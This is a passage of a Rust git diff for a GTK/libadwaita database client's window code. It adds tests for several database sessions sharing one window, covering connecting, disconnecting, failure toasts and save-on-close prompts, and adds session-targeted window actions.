     .expect("the level saved back");
 
-    let super::session_page::SessionPage::Workspace { session, .. } = &*test.window.imp().page.borrow() else {
+    let Some((_, session)) = test.window.front_session() else {
         panic!("the window left its workspace");
     };
     assert_eq!(session.safe_mode(), tablepro_core::SafeModeLevel::ConfirmWrites);
@@ -485,7 +486,7 @@ fn the_header_icon_buttons_are_labelled() {
 
     // The tab overview's own header is libadwaita's, outside the
     // workspace's breakpoint bin.
-    let panes = test.workspace().imp().breakpoint_bin.get();
+    let panes = test.window.shell().expect("the shell").imp().breakpoint_bin.get();
     for root in [picker.upcast::<gtk4::Widget>(), panes.upcast()] {
         let headers = descendants(&root)
             .into_iter()
@@ -535,15 +536,12 @@ fn toast_routes_to_current_page_overlay() {
     test.window.show_toast("on the workspace");
     drain_main_context();
 
-    let workspace = test.workspace();
-    assert!(shows_text(&workspace.toast_overlay(), "on the workspace"));
+    let toasts = test.window.shell().expect("the shell").toast_overlay();
+    assert!(shows_text(&toasts, "on the workspace"));
     assert!(!shows_text(&picker.toast_overlay(), "on the workspace"));
     assert!(
-        workspace
-            .toast_overlay()
-            .ancestor(adw::TabOverview::static_type())
-            .is_some(),
-        "the workspace's toasts sit above the tab overview"
+        toasts.ancestor(adw::TabOverview::static_type()).is_some(),
+        "the shell's toasts sit above the tab overview"
     );
 }
 
@@ -647,7 +645,7 @@ fn a_connect_still_queued_when_its_window_shuts_down_is_closed() {
     let request = FakeConnector::request().expect("a request");
     let (pending, connection) = FakeConnector::pending_session(request, ConnectionScript::default());
     let attempt = SessionWindowCommand::Attempt {
-        generation: tablepro_session::connect::AttemptGeneration::FIRST,
+        id: 1,
         result: Ok(Connected {
             pending,
             saved: None,
@@ -880,9 +878,9 @@ fn a_close_while_the_page_is_read_does_not_panic() {
         .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
     test.wait_for_page("connect-failed");
 
-    let page = test.window.imp().page.borrow();
+    let failed = test.window.imp().failed.borrow();
     test.window.release_session();
-    drop(page);
+    drop(failed);
 
     assert_eq!(test.window.page_name(), "connect-failed");
 }
@@ -979,6 +977,30 @@ fn missing_file_goes_to_connect_failed() {
     assert!(test.connector.calls().is_empty(), "a missing file was connected to");
 }
 
+/// A second failure while the failed page shows the first builds the
+/// page again, so its remedies act on the failure it names.
+#[gtk4::test]
+fn a_second_missing_file_replaces_the_first_on_the_failed_page() {
+    let test = TestWindow::picker("MissingTwice");
+    let message = || {
+        test.window
+            .content()
+            .and_then(|child| child.downcast::<ConnectFailedPage>().ok())
+            .and_then(|page| page.message())
+            .unwrap_or_default()
+    };
+    test.window.send(SessionWindowInput::OpenFile(gio::File::for_path(
+        test._dir.path().join("first.db"),
+    )));
+    wait_until(WAIT, || message().contains("first.db")).expect("the first failure");
+
+    test.window.send(SessionWindowInput::OpenFile(gio::File::for_path(
+        test._dir.path().join("second.db"),
+    )));
+
+    wait_until(WAIT, || message().contains("second.db")).expect("the page to name the second file");
+}
+
 /// The page reads its description as markup, where the `&` would
 /// leave the reason empty.
 #[gtk4::test]
@@ -1082,7 +1104,7 @@ fn f002_late_show_create_reply_after_disconnect_is_dropped() {
     });
     let counters = test.connection().counters();
     let workspace = test.workspace().downgrade();
-    let input = test.workspace().input().expect("the workspace's input");
+    let input = test.workspace().sender().expect("the workspace's input");
     input.deliver(WorkspaceInput::ShowCreateTableForExisting {
         schema: Some("public".to_owned()),
         table: "users".to_owned(),
diff --git a/linux/crates/app/src/ui/session_window/tests/notification.rs b/linux/crates/app/src/ui/session_window/tests/notification.rs
index ba756c6653..da213e9bd6 100644
--- a/linux/crates/app/src/ui/session_window/tests/notification.rs
+++ b/linux/crates/app/src/ui/session_window/tests/notification.rs
@@ -4,7 +4,6 @@ use std::sync::Arc;
 
 use gtk4::glib;
 use gtk4::prelude::*;
-use gtk4::subclass::prelude::*;
 use libadwaita::prelude::AlertDialogExt;
 use tablepro_core::column::{ColumnType, ResultColumn};
 use tablepro_core::export::CsvOptions;
@@ -94,7 +93,7 @@ impl Notified {
         let workspace = self.test.workspace();
         let before = workspace.selected_tab();
         workspace
-            .input()
+            .sender()
             .expect("the workspace's input")
             .deliver(WorkspaceInput::SelectTable {
                 schema: None,
@@ -204,7 +203,7 @@ fn activating_tab_withdraws() {
     notified.run(&editor);
     notified.wait_for_sent(1);
 
-    let view = notified.test.workspace().imp().tab_view.get();
+    let view = notified.test.window.shell().expect("the shell").tab_view();
     view.set_selected_page(&view.nth_page(0));
 
     wait_until(WAIT, || notified.sink.withdrawn() == [notified.id(first)]).expect("the notification to go");
@@ -233,7 +232,7 @@ fn closing_a_tab_withdraws_its_notification() {
     notified.run(&editor);
     notified.wait_for_sent(1);
 
-    let view = notified.test.workspace().imp().tab_view.get();
+    let view = notified.test.window.shell().expect("the shell").tab_view();
     view.close_page(&view.nth_page(0));
 
     wait_until(WAIT, || notified.sink.withdrawn() == [notified.id(first)]).expect("the notification to go");
@@ -266,7 +265,7 @@ fn a_failed_save_in_a_background_tab_names_only_the_table() {
     let table = notified.open_table_tab("orders");
     notified.open_editor_tab();
 
-    let input = workspace.input().expect("the workspace's input");
+    let input = workspace.sender().expect("the workspace's input");
     input.deliver(WorkspaceInput::Workspace(WorkspaceEvent::SaveSettled {
         settled: Box::new(SaveSettled {
             tab: table,
@@ -324,9 +323,9 @@ fn a_background_tab_saved_by_its_close_prompt_is_not_notified() {
     let notified = Notified::completing("NotifyPromptSave");
     let workspace = notified.test.workspace();
     let table = notified.open_table_tab("orders");
-    let view = workspace.imp().tab_view.get();
+    let view = notified.test.window.shell().expect("the shell").tab_view();
     let page = view.selected_page().expect("the table's page");
-    let tracker = workspace.row_tracker(table).expect("the table's tracker");
+    let tracker = crate::ui::workspace::tests::row_tracker(&workspace, table).expect("the table's tracker");
     let _ = tracker.set_target(SaveTarget {
         table: TableRef::unqualified("orders"),
         columns: vec![integer("id", true), integer("n", false)],
@@ -358,7 +357,7 @@ fn a_background_tab_saved_by_its_close_prompt_is_not_notified() {
 fn an_editor_tab_named_by_its_script_is_notified_by_its_number() {
     let notified = Notified::completing("NotifyScriptTab");
     let (first, editor) = notified.open_editor_tab();
-    let view = notified.test.workspace().imp().tab_view.get();
+    let view = notified.test.window.shell().expect("the shell").tab_view();
     let page = view.selected_page().expect("the editor's page");
     notified.open_editor_tab();
 
diff --git a/linux/crates/app/src/ui/session_window/tests/sessions.rs b/linux/crates/app/src/ui/session_window/tests/sessions.rs
new file mode 100644
index 0000000000..42eeb2bee9
--- /dev/null
+++ b/linux/crates/app/src/ui/session_window/tests/sessions.rs
@@ -0,0 +1,622 @@
+//! Several sessions in one window: every connect runs beside the others
+//! and its session joins the shell, a disconnect closes only its own, a
+//! failure beside them stays in this window, and the window's close asks
+//! about all of them at once.
+
+use std::time::Duration;
+
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use libadwaita as adw;
+use libadwaita::prelude::*;
+use tablepro_core::meta::TableRef;
+use tablepro_core::{DriverError, FileEndpoint, LossPhase, Value};
+use tablepro_session::fakes::FakeEstablish;
+use tablepro_session::{ConnectError, SessionKey};
+use tablepro_storage::SavedConnection;
+use tablepro_test_support::ConnectionScript;
+
+use super::{Script, TestWindow, WAIT, dialog_submission, pick_level, refused, stored_level};
+use crate::application::WindowLaunch;
+use crate::runtime::DeliverInput;
+use crate::services::change_tracker::RowKey;
+use crate::services::save_batch::SaveTarget;
+use crate::services::tracker_edit::TrackerEdit;
+use crate::test_support::{drain_main_context, wait_until};
+use crate::ui::SessionWindowInput;
+use crate::ui::session_window::SessionWindow;
+use crate::ui::workspace::{OpenMode, Workspace, WorkspaceInput};
+use crate::workspace::test_workspace::integer;
+use crate::workspace::{DirtyKind, answer, visible_alert};
+
+/// A second saved connection beside the test's, once the list has it.
+fn second_connection(test: &TestWindow) -> SavedConnection {
+    saved_beside(test, "Other")
+}
+
+fn saved_beside(test: &TestWindow, name: &str) -> SavedConnection {
+    let other = SavedConnection {
+        id: uuid::Uuid::new_v4(),
+        name: name.to_owned(),
+        database: test.dir().join(format!("{name}.db")).display().to_string(),
+        ..test.saved.clone()
+    };
+    test.services
+        .storage
+        .connections()
+        .upsert_blocking(other.clone())
+        .expect("save the connection");
+    wait_until(WAIT, || test.services.saved_connections.get(other.id).is_some()).expect("the list to have it");
+    other
+}
+
+fn open_both(name: &str) -> (TestWindow, SavedConnection) {
+    let test = TestWindow::connected(name);
+    let other = second_connection(&test);
+    test.window.send(SessionWindowInput::OpenSaved(Box::new(other.clone())));
+    wait_until(WAIT, || test.window.workspaces().len() == 2).expect("the second session to join");
+    (test, other)
+}
+
+/// A window connected to the test's connection, whose connects after
+/// the first one go as `beside` says.
+fn connected_then(name: &str, beside: Vec<FakeEstablish>) -> TestWindow {
+    let mut establish = vec![FakeEstablish::Connect(ConnectionScript::default())];
+    establish.extend(beside);
+    let test = TestWindow::with_script(
+        name,
+        Script {
+            establish,
+            ..Script::default()
+        },
+    );
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+    test.wait_for_page("workspace");
+    test
+}
+
+fn toast_titled(window: &SessionWindow, title: &str) -> Option<adw::Toast> {
+    window
+        .imp()
+        .toasts
+        .borrow()
+        .iter()
+        .find(|toast| toast.title().as_deref() == Some(title))
+        .cloned()
+}
+
+fn holds_page(view: &adw::TabView, page: &adw::TabPage) -> bool {
+    (0..view.n_pages()).any(|position| &view.nth_page(position) == page)
+}
+
+/// Give `workspace` a table tab with a cell edited and not saved.
+fn edit_a_table(workspace: &Workspace, name: &str) {
+    let before = workspace.open_tabs().unwrap_or_default();
+    workspace
+        .sender()
+        .expect("the workspace's input")
+        .deliver(WorkspaceInput::SelectTable {
+            schema: None,
+            name: name.to_owned(),
+            open_mode: OpenMode::NewTab,
+        });
+    let mut opened = None;
+    wait_until(WAIT, || {
+        opened = workspace
+            .open_tabs()
+            .and_then(|tabs| tabs.into_iter().find(|tab| !before.contains(tab)));
+        opened.is_some()
+    })
+    .expect("the table's tab");
+    let tracker =
+        crate::ui::workspace::tests::row_tracker(workspace, opened.expect("the tab")).expect("the table's tracker");
+    let _ = tracker.set_target(SaveTarget {
+        table: TableRef::unqualified(name),
+        columns: vec![integer("id", true), integer("n", false)],
+    });
+    let _ = tracker.apply(TrackerEdit::Cell {
+        row_key: RowKey::from_pk_values(&[Value::Int(1)]).expect("a key"),
+        col: 1,
+        original: Value::Int(1),
+        value: Value::Int(2),
+    });
+}
+
+#[gtk4::test]
+fn a_second_connection_joins_the_window_beside_the_first() {
+    let (test, other) = open_both("SecondJoins");
+
+    assert_eq!(test.window.page_name(), "workspace");
+    let sessions = &test.services.sessions;
+    assert_eq!(sessions.window_for(&test.key()), Some(test.window.id()));
+    assert_eq!(
+        sessions.window_for(&SessionKey::Saved(other.id)),
+        Some(test.window.id())
+    );
+    assert_eq!(test.app.windows().len(), 1);
+    assert!(test.window.imp().connects.borrow().is_empty());
+}
+
+#[gtk4::test]
+fn both_sessions_tabs_share_the_one_tab_view() {
+    let (test, _) = open_both("SharedTabs");
+    let shell = test.window.shell().expect("the shell");
+
+    for workspace in test.window.workspaces() {
+        crate::ui::workspace::tests::new_editor_page(&workspace).expect("an editor tab");
+    }
+
+    assert_eq!(shell.tab_view().n_pages(), 2);
+    let owners: Vec<_> = (0..2)
+        .filter_map(|position| shell.owner_of(&shell.tab_view().nth_page(position)))
+        .map(|(workspace, _)| workspace.key())
+        .collect();
+    assert_eq!(owners.len(), 2, "a tab no session owns");
+    assert_ne!(owners[0], owners[1], "both tabs went to one session");
+}
+
+#[gtk4::test]
+fn disconnecting_one_session_keeps_the_other() {
+    let (test, other) = open_both("DisconnectOne");
+    let other_key = SessionKey::Saved(other.id);
+
+    test.window
+        .send(SessionWindowInput::DisconnectSession(other_key.clone()));
+    wait_until(WAIT, || test.window.workspaces().len() == 1).expect("one session to go");
+
+    assert_eq!(test.window.page_name(), "workspace");
+    assert_eq!(
+        test.services.sessions.window_for(&other_key),
+        None,
+        "the claim outlived the session"
+    );
+    assert_eq!(test.services.sessions.window_for(&test.key()), Some(test.window.id()));
+    let shell = test.window.shell().expect("the shell");
+    assert_eq!(shell.front().and_then(|front| front.key()), Some(test.key()));
+}
+
+#[gtk4::test]
+fn disconnecting_the_last_session_returns_to_the_picker() {
+    let (test, other) = open_both("DisconnectBoth");
+
+    test.window
+        .send(SessionWindowInput::DisconnectSession(SessionKey::Saved(other.id)));
+    wait_until(WAIT, || test.window.workspaces().len() == 1).expect("one session to go");
+    test.window.send(SessionWindowInput::Disconnect);
+    test.wait_for_page("picker");
+
+    assert_eq!(test.services.sessions.window_for(&test.key()), None);
+    assert!(test.window.shell().is_none(), "the shell outlived the last session");
+}
+
+#[gtk4::test]
+fn disconnecting_a_session_closes_its_tabs() {
+    let (test, other) = open_both("DisconnectTabs");
+    let shell = test.window.shell().expect("the shell");
+    for workspace in test.window.workspaces() {
+        crate::ui::workspace::tests::new_editor_page(&workspace).expect("an editor tab");
+    }
+
+    test.window
+        .send(SessionWindowInput::DisconnectSession(SessionKey::Saved(other.id)));
+    wait_until(WAIT, || test.window.workspaces().len() == 1).expect("one session to go");
+
+    assert_eq!(shell.tab_view().n_pages(), 1, "the session's tab stayed in the bar");
+    let left = shell.tab_view().nth_page(0);
+    assert_eq!(
+        shell.owner_of(&left).and_then(|(workspace, _)| workspace.key()),
+        Some(test.key()),
+        "the tab left is not the first session's"
+    );
+}
+
+#[gtk4::test]
+fn two_connects_beside_the_sessions_both_join() {
+    let test = connected_then(
+        "TwoBeside",
+        vec![FakeEstablish::Late {
+            after: Duration::from_millis(300),
+            script: ConnectionScript::default(),
+        }],
+    );
+    let second = second_connection(&test);
+    let third = saved_beside(&test, "Third");
+
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(second.clone())));
+    test.window.send(SessionWindowInput::OpenSaved(Box::new(third.clone())));
+    wait_until(WAIT, || test.window.workspaces().len() == 3).expect("both connects to join");
+
+    let window = Some(test.window.id());
+    assert_eq!(test.services.sessions.window_for(&SessionKey::Saved(second.id)), window);
+    assert_eq!(test.services.sessions.window_for(&SessionKey::Saved(third.id)), window);
+}
+
+/// It used to start again on the connecting page, which built a second
+/// connection and asked again for a password already typed.
+#[gtk4::test]
+fn f002_a_connect_beside_the_last_session_adopts_from_the_connecting_page_without_connecting_again() {
+    let test = connected_then(
+        "BesideTheLast",
+        vec![FakeEstablish::Late {
+            after: Duration::from_millis(300),
+            script: ConnectionScript::default(),
+        }],
+    );
+    let other = second_connection(&test);
+    let other_key = SessionKey::Saved(other.id);
+    test.window.send(SessionWindowInput::OpenSaved(Box::new(other.clone())));
+    wait_until(WAIT, || test.connector.calls().len() == 2).expect("the connect beside to reach the driver");
+
+    test.window.send(SessionWindowInput::Disconnect);
+    test.wait_for_page("connecting");
+    let page = test
+        .window
+        .content()
+        .and_downcast::<crate::ui::session_window::ConnectingPage>()
+        .expect("the connecting page");
+    assert_eq!(page.status_page().title(), "Connecting to Other");
+    wait_until(WAIT, || {
+        test.window.workspaces().first().and_then(Workspace::key).as_ref() == Some(&other_key)
+    })
+    .expect("the connect to join the window");
+    drain_main_context();
+
+    assert_eq!(test.connector.calls().len(), 2, "the connect was started again");
+    let connections = test.connector.connections();
+    assert_eq!(connections.len(), 2);
+    assert!(connections[0].is_closed(), "the disconnected session stayed open");
+    assert!(!connections[1].is_closed(), "the adopted connection was closed");
+    assert_eq!(test.services.sessions.window_for(&other_key), Some(test.window.id()));
+    assert_eq!(test.services.sessions.window_for(&test.key()), None);
+    assert_eq!(test.services.sessions.live_count(), 1);
+}
+
+#[gtk4::test]
+fn the_windows_actions_go_to_the_session_in_front() {
+    let (test, other) = open_both("ActionsFront");
+    let shell = test.window.shell().expect("the shell");
+    let other_key = SessionKey::Saved(other.id);
+    let joined = test
+        .window
+        .session_workspace(&other_key)
+        .expect("the session that joined");
+    let page = crate::ui::workspace::tests::new_editor_page(&joined).expect("a tab of its own");
+    shell.tab_view().set_selected_page(&page);
+    wait_until(WAIT, || {
+        shell.front().and_then(|front| front.key()) == Some(other_key.clone())
+    })
+    .expect("the session to come to the front with its tab");
+    let before = shell.tab_view().n_pages();
+
+    WidgetExt::activate_action(&test.window, "win.new-editor-tab", None).expect("the window's action");
+    wait_until(WAIT, || shell.tab_view().n_pages() == before + 1).expect("a new tab");
+
+    let added = shell.tab_view().selected_page().expect("the new tab in front");
+    assert_eq!(
+        shell.owner_of(&added).and_then(|(workspace, _)| workspace.key()),
+        Some(other_key),
+        "the action went to a session behind"
+    );
+}
+
+/// The level goes to the session in front when the user picked it,
+/// not the one in front once the window handles the choice.
+#[gtk4::test]
+fn a_safe_mode_level_goes_to_the_session_it_was_picked_for() {
+    let (test, other) = open_both("SafeModeTarget");
+    let shell = test.window.shell().expect("the shell");
+    let (first_key, other_key) = (test.key(), SessionKey::Saved(other.id));
+    let tab_of = |key: &SessionKey| {
+        crate::ui::workspace::tests::new_editor_page(&test.window.session_workspace(key).expect("the session"))
+            .expect("a tab")
+    };
+    let (first_tab, other_tab) = (tab_of(&first_key), tab_of(&other_key));
+    shell.tab_view().set_selected_page(&first_tab);
+    let level = |key: &SessionKey| {
+        test.window
+            .imp()
+            .sessions
+            .borrow()
+            .iter()
+            .find(|open| open.claim.key() == key)
+            .map(|open| open.session.safe_mode())
+    };
+
+    pick_level(&test, "confirm-writes");
+    shell.tab_view().set_selected_page(&other_tab);
+
+    wait_until(WAIT, || {
+        level(&first_key) == Some(tablepro_core::SafeModeLevel::ConfirmWrites)
+    })
+    .expect("the level on the session it was picked for");
+    assert_eq!(
+        level(&other_key),
+        Some(tablepro_core::SafeModeLevel::Off),
+        "the level moved another connection"
+    );
+}
+
+#[gtk4::test]
+fn new_query_in_opens_an_editor_in_the_session_it_names() {
+    let (test, _) = open_both("NewQueryIn");
+    let shell = test.window.shell().expect("the shell");
+
+    WidgetExt::activate_action(
+        &test.window,
+        "win.new-query-in",
+        Some(&crate::ui::session_target::to_variant(&test.key())),
+    )
+    .expect("win.new-query-in");
+    wait_until(WAIT, || shell.tab_view().n_pages() == 1).expect("a new tab");
+
+    let added = shell.tab_view().nth_page(0);
+    assert_eq!(
+        shell.owner_of(&added).and_then(|(workspace, _)| workspace.key()),
+        Some(test.key())
+    );
+}
+
+#[gtk4::test]
+fn a_window_close_asks_once_about_every_session_and_cancel_keeps_them_all() {
+    let (test, _) = open_both("CloseBothDirty");
+    for (workspace, table) in test.window.workspaces().iter().zip(["orders", "stock"]) {
+        edit_a_table(workspace, table);
+    }
+
+    test.window.close();
+    let mut asked = None;
+    wait_until(WAIT, || {
+        asked = visible_alert(&test.window).filter(|alert| alert.heading().as_deref() == Some("Save Changes?"));
+        asked.is_some()
+    })
+    .expect("the close prompt");
+    assert_eq!(
+        asked.expect("the prompt").response_label("discard").as_str(),
+        "_Discard All",
+        "the prompt did not list both sessions' tabs"
+    );
+    assert!(answer(&test.window, "cancel"));
+    wait_until(WAIT, || visible_alert(&test.window).is_none()).expect("the prompt to close");
+    drain_main_context();
+
+    assert!(
+        visible_alert(&test.window).is_none(),
+        "a second session was asked on its own"
+    );
+    assert_eq!(test.app.windows().len(), 1, "the window closed");
+    let workspaces = test.window.workspaces();
+    assert_eq!(workspaces.len(), 2, "a session went with the cancelled close");
+    assert_eq!(test.services.sessions.live_count(), 2);
+    let unsaved = workspaces
+        .iter()
+        .filter_map(Workspace::handle)
+        .flat_map(|handle| handle.dirty_tabs())
+        .filter(|tab| tab.kind == DirtyKind::Unsaved)
+        .count();
+    assert_eq!(unsaved, 2, "a cancelled close discarded a session's edits");
+}
+
+/// Connect a second connection that fails as `failure` says, beside the
+/// test's, and the toast that says so.
+fn failed_beside(name: &str, failure: FakeEstablish) -> (TestWindow, SessionKey, adw::Toast) {
+    let test = connected_then(name, vec![failure]);
+    let other = second_connection(&test);
+    let key = SessionKey::Saved(other.id);
+
+    test.window.send(SessionWindowInput::OpenSaved(Box::new(other)));
+    let mut shown = None;
+    wait_until(WAIT, || {
+        shown = toast_titled(&test.window, "Could not connect to “Other”");
+        shown.is_some()
+    })
+    .expect("the failure's toast");
+    (test, key, shown.expect("the toast"))
+}
+
+/// The first of two connects fails before either opens: its toast goes
+/// to the page that shows the other connect from then on.
+#[gtk4::test]
+fn a_failure_while_another_connect_runs_toasts_on_the_page_left_on_screen() {
+    let test = TestWindow::with_script(
+        "FailedWhileConnecting",
+        Script {
+            establish: vec![refused(), FakeEstablish::UntilCancelled],
+            ..Script::default()
+        },
+    );
+    let other = second_connection(&test);
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+    test.window.send(SessionWindowInput::OpenSaved(Box::new(other)));
+
+    let title = format!("Could not connect to “{}”", test.saved.name);
+    let on_screen = || {
+        test.window.content().is_some_and(|page| {
+            crate::test_support::descendants(&page)
+                .iter()
+                .filter_map(|widget| widget.downcast_ref::<gtk4::Label>())
+                .any(|label| label.label() == title)
+        })
+    };
+    wait_until(WAIT, on_screen).expect("the failure's toast on the page on screen");
+    assert_eq!(
+        test.window.page_name(),
+        "connecting",
+        "the other connect left the screen"
+    );
+}
+
+#[gtk4::test]
+fn a_failed_connect_beside_the_sessions_opens_no_window_and_toasts() {
+    let (test, key, toast) = failed_beside("FailedBeside", refused());
+    drain_main_context();
+
+    assert_eq!(test.app.windows().len(), 1, "the failure opened a window of its own");
+    assert_eq!(test.window.page_name(), "workspace");
+    assert_eq!(test.window.workspaces().len(), 1);
+    assert_eq!(
+        test.services.sessions.window_for(&key),
+        None,
+        "the failed connect kept its claim"
+    );
+    assert!(!toast.uses_markup());
+    assert_eq!(toast.button_label().as_deref(), Some("Details"));
+    assert_eq!(toast.action_name().as_deref(), Some("win.show-connect-failure"));
+    assert_eq!(
+        toast.action_target_value(),
+        Some(crate::ui::session_target::to_variant(&key))
+    );
+}
+
+#[gtk4::test]
+fn the_details_of_a_failure_beside_offer_its_remedy() {
+    let (test, key, _) = failed_beside("FailureDetails", refused());
+
+    WidgetExt::activate_action(
+        &test.window,
+        "win.show-connect-failure",
+        Some(&crate::ui::session_target::to_variant(&key)),
+    )
+    .expect("win.show-connect-failure");
+    let mut shown = None;
+    wait_until(WAIT, || {
+        shown = visible_alert(&test.window);
+        shown.is_some()
+    })
+    .expect("the Details");
+    let details = shown.expect("the dialog");
+
+    assert_eq!(details.heading().as_deref(), Some("Could Not Connect to “Other”"));
+    assert!(!details.body().is_empty(), "the Details gave no reason");
+    assert!(!details.is_body_use_markup());
+    assert_eq!(details.response_label("remedy").as_str(), "Enter Password…");
+    assert_eq!(
+        details.response_appearance("remedy"),
+        adw::ResponseAppearance::Suggested
+    );
+    assert_eq!(details.close_response(), "close");
+    assert!(answer(&test.window, "close"));
+    drain_main_context();
+    assert_eq!(test.connector.calls().len(), 2, "closing the Details connected again");
+}
+
+#[gtk4::test]
+fn try_again_in_the_details_connects_beside_the_sessions() {
+    let lost = FakeEstablish::Fail(ConnectError::Driver(DriverError::ConnectionLost {
+        during: LossPhase::Connect,
+    }));
+    let (test, key, _) = failed_beside("FailureTryAgain", lost);
+
+    WidgetExt::activate_action(
+        &test.window,
+        "win.show-connect-failure",
+        Some(&crate::ui::session_target::to_variant(&key)),
+    )
+    .expect("win.show-connect-failure");
+    wait_until(WAIT, || visible_alert(&test.window).is_some()).expect("the Details");
+    assert_eq!(
+        visible_alert(&test.window)
+            .map(|details| details.response_label("remedy").to_string())
+            .as_deref(),
+        Some("Try Again")
+    );
+    assert!(answer(&test.window, "remedy"));
+
+    wait_until(WAIT, || test.window.workspaces().len() == 2).expect("the retry to join the window");
+    assert_eq!(test.services.sessions.window_for(&key), Some(test.window.id()));
+    assert_eq!(test.app.windows().len(), 1);
+}
+
+/// A connect the dialog started beside the sessions shows in the tree
+/// and stops from there; its connection, made after the stop, is closed.
+#[gtk4::test]
+fn f002_stop_connecting_a_dialog_connect_beside_the_sessions_closes_its_late_connection() {
+    let test = connected_then(
+        "StopDialogConnect",
+        vec![FakeEstablish::Late {
+            after: Duration::from_millis(300),
+            script: ConnectionScript::default(),
+        }],
+    );
+    let submission = dialog_submission(FileEndpoint::create_new(test.dir().join("new.db")).expect("an endpoint"));
+    let key = SessionKey::Saved(submission.pending_save.connection.id);
+
+    test.window
+        .send(SessionWindowInput::ConnectFromDialog(Box::new(submission)));
+    wait_until(WAIT, || test.connector.calls().len() == 2).expect("the connect to reach the driver");
+    assert!(
+        test.window.keeps_session(&key),
+        "the dialog's connect is not the window's"
+    );
+    WidgetExt::activate_action(
+        &test.window,
+        "win.stop-connecting",
+        Some(&crate::ui::session_target::to_variant(&key)),
+    )
+    .expect("win.stop-connecting");
+    wait_until(WAIT, || !test.window.keeps_session(&key)).expect("the connect to stop");
+
+    assert_eq!(
+        test.services.sessions.window_for(&key),
+        None,
+        "the claim outlived the stop"
+    );
+    assert_eq!(test.window.page_name(), "workspace");
+    wait_until(WAIT, || {
+        let connections = test.connector.connections();
+        connections.len() == 2 && connections[1].is_closed()
+    })
+    .expect("the late connection to close");
+    drain_main_context();
+
+    assert_eq!(test.window.workspaces().len(), 1, "the stopped connect was adopted");
+    assert_eq!(test.app.windows().len(), 1);
+    assert_eq!(test.services.sessions.live_count(), 1);
+    assert!(toast_titled(&test.window, "Could not connect to “Fake”").is_none());
+}
+
+/// It used to stop the dialog's connect and look it up as a saved
+/// connection, which it was not yet: "The connection was deleted."
+#[gtk4::test]
+fn a_safe_mode_reopen_keeps_a_dialog_connect_running() {
+    let test = connected_then("ReopenBesideDialog", vec![FakeEstablish::UntilCancelled]);
+    let submission = dialog_submission(FileEndpoint::create_new(test.dir().join("new.db")).expect("an endpoint"));
+    let key = SessionKey::Saved(submission.pending_save.connection.id);
+    test.window
+        .send(SessionWindowInput::ConnectFromDialog(Box::new(submission)));
+    wait_until(WAIT, || test.connector.calls().len() == 2).expect("the dialog's connect to start");
+
+    pick_level(&test, "read-only");
+    wait_until(WAIT, || test.connector.calls().len() == 3).expect("the session to connect again");
+    wait_until(WAIT, || test.window.workspaces().len() == 1).expect("the session to join again");
+    drain_main_context();
+
+    assert_eq!(stored_level(&test), Some(tablepro_core::SafeModeLevel::ReadOnly));
+    assert!(test.connector.calls()[2].request.workspace_settings.read_only);
+    assert!(test.window.keeps_session(&key), "the dialog's connect stopped");
+    assert_eq!(test.services.sessions.window_for(&key), Some(test.window.id()));
+    assert!(toast_titled(&test.window, "The connection was deleted.").is_none());
+}
+
+#[gtk4::test]
+fn a_tab_dropped_on_another_window_goes_back_to_its_own() {
+    let test = TestWindow::connected("ForeignTab");
+    let other = second_connection(&test);
+    let second = test
+        .app
+        .open_window(WindowLaunch::Connect(Box::new(other)))
+        .and_then(|window| window.downcast::<SessionWindow>().ok())
+        .expect("a second window");
+    wait_until(WAIT, || second.page_name() == "workspace").expect("the second window's session");
+    let page = crate::ui::workspace::tests::new_editor_page(&test.workspace()).expect("a tab");
+    let home = test.window.shell().expect("the shell").tab_view();
+    let away = second.shell().expect("the second shell").tab_view();
+
+    home.transfer_page(&page, &away, away.n_pages());
+    second.send(SessionWindowInput::ReturnForeignTab(page.downgrade().into()));
+
+    wait_until(WAIT, || holds_page(&home, &page) && !holds_page(&away, &page))
+        .expect("the tab to go back to its session's window");
+}
diff --git a/linux/crates/app/src/ui/session_window/window_actions.rs b/linux/crates/app/src/ui/session_window/window_actions.rs
index 9ceeb2d1da..e8f47f3a36 100644
--- a/linux/crates/app/src/ui/session_window/window_actions.rs
+++ b/linux/crates/app/src/ui/session_window/window_actions.rs
@@ -10,14 +10,19 @@ use gtk4::prelude::*;
 use libadwaita as adw;
 
 use tablepro_core::SafeModeLevel;
+use tablepro_session::SessionKey;
 
-use super::SessionWindowInput;
 use super::session_page::SessionPage;
+use super::session_window_command::ConnectFailure;
+use super::{SessionWindow, SessionWindowInput};
 use crate::runtime::{DeliverInput, InputSender};
 
 /// Builds the input an action sends.
 type ActionInput = fn() -> SessionWindowInput;
 
+/// Builds the input an action that names a session sends.
+type SessionInput = fn(SessionKey) -> SessionWindowInput;
+
 const SAFE_MODE: &str = "safe-mode";
 
 /// The window's actions and the input each one sends. A closure holds
@@ -37,6 +42,18 @@ const ACTIONS: [(&str, ActionInput); 11] = [
     ("manage-tags", || SessionWindowInput::ManageTags),
 ];
 
+/// The actions a connection tree row or a toast fires for its own
+/// session, which take the session as their target (`session_target`).
+const SESSION_ACTIONS: [(&str, SessionInput); 7] = [
+    ("show-session", SessionWindowInput::ShowSession),
+    ("disconnect-session", SessionWindowInput::DisconnectSession),
+    ("stop-connecting", SessionWindowInput::StopConnecting),
+    ("new-query-in", SessionWindowInput::NewQueryIn),
+    ("refresh-in", SessionWindowInput::RefreshIn),
+    ("show-connect-failure", SessionWindowInput::ShowConnectFailure),
+    ("forget-connect-failure", SessionWindowInput::ForgetConnectFailure),
+];
+
 pub(super) fn install(window: &adw::ApplicationWindow, input: &InputSender<SessionWindowInput>) {
     let entries = ACTIONS.map(|(name, message)| {
         let input = input.clone();
@@ -45,28 +62,53 @@ pub(super) fn install(window: &adw::ApplicationWindow, input: &InputSender<Sessi
             .build()
     });
     window.add_action_entries(entries);
+    window.add_action_entries(SESSION_ACTIONS.map(|(name, message)| session_action(name, message, input.clone())));
     window.add_action_entries([retry_with_new_secret(input.clone()), safe_mode(input.clone())]);
 }
 
+/// A target that names no session does nothing.
+fn session_action(
+    name: &str,
+    message: SessionInput,
+    input: InputSender<SessionWindowInput>,
+) -> gio::ActionEntry<adw::ApplicationWindow> {
+    gio::ActionEntry::builder(name)
+        .parameter_type(Some(glib::VariantTy::STRING))
+        .activate(move |_, _, target| {
+            if let Some(key) = target.and_then(crate::ui::session_target::from_variant) {
+                input.deliver(message(key));
+            }
+        })
+        .build()
+}
